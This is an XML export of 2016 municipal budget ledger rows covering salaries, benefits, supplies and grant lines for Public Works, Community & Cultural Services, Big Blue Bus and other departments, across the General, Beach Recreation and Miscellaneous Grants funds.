<row _id="21482"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3440</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3440</total></row>
<row _id="21483"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>523010.0</object><object_description>ENVIRONMENTAL SERVICES FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4100</total></row>
<row _id="21484"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>247972</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>247972</total></row>
<row _id="21485"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21486"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>533220.0</object><object_description>BUILDING / STRUCTURE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>18870</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>18870</total></row>
<row _id="21487"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>29</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>29</total></row>
<row _id="21488"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>902</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>902</total></row>
<row _id="21489"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>409140.0</object><object_description>PASSPORT SERV APPLICATIONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-37000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-37000</total></row>
<row _id="21490"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561113.0</object><object_description>OPCC ACCESS CTR-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7400</total></row>
<row _id="21491"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533211.0</object><object_description>FAC MAINT SVCS-WORK ORDERS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>50000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>50000</total></row>
<row _id="21492"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>327823</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>327823</total></row>
<row _id="21493"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533213.0</object><object_description>FAC MAINT-PREVENTATIVE MAINT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>103000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>103000</total></row>
<row _id="21494"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561111.0</object><object_description>CHRYSALIS EMPLYMNT CTR-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10000</total></row>
<row _id="21495"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561114.0</object><object_description>OPCC DAYBREAK-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1900</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1900</total></row>
<row _id="21496"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561119.0</object><object_description>OPCC SOJOURN - PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>600</total></row>
<row _id="21497"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>PROP A LR TRANS-SENIOR</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3000</total></row>
<row _id="21498"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>149</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>149</total></row>
<row _id="21499"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12626</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12626</total></row>
<row _id="21500"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>287</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>287</total></row>
<row _id="21501"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>434</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>434</total></row>
<row _id="21502"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>403110.0</object><object_description>TDA ARTICLE III</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-245000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-245000</total></row>
<row _id="21503"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1218118</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1218118</total></row>
<row _id="21504"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>164063</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>164063</total></row>
<row _id="21505"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12209</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12209</total></row>
<row _id="21506"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1385</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1385</total></row>
<row _id="21507"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-9466</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-9466</total></row>
<row _id="21508"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5942</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5942</total></row>
<row _id="21509"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="21510"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2500</total></row>
<row _id="21511"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>15000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15000</total></row>
<row _id="21512"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>562300.0</object><object_description>SMC-PICO PARTNERSHIP</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21513"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>230989</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>230989</total></row>
<row _id="21514"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>22660</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>22660</total></row>
<row _id="21515"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-13319</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-13319</total></row>
<row _id="21516"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1351</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1351</total></row>
<row _id="21517"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>879</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>879</total></row>
<row _id="21518"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511681.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21519"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>517311</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>517311</total></row>
<row _id="21520"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>83074</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>83074</total></row>
<row _id="21521"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3030</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3030</total></row>
<row _id="21522"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>90059</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>90059</total></row>
<row _id="21523"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>53668</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>53668</total></row>
<row _id="21524"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-54426</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-54426</total></row>
<row _id="21525"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>607264</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>607264</total></row>
<row _id="21526"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>14253</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14253</total></row>
<row _id="21527"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-85679</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-85679</total></row>
<row _id="21528"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>21530</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>21530</total></row>
<row _id="21529"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>566260.0</object><object_description>SPECIAL EVENTS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>33000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>33000</total></row>
<row _id="21530"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>39688</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>39688</total></row>
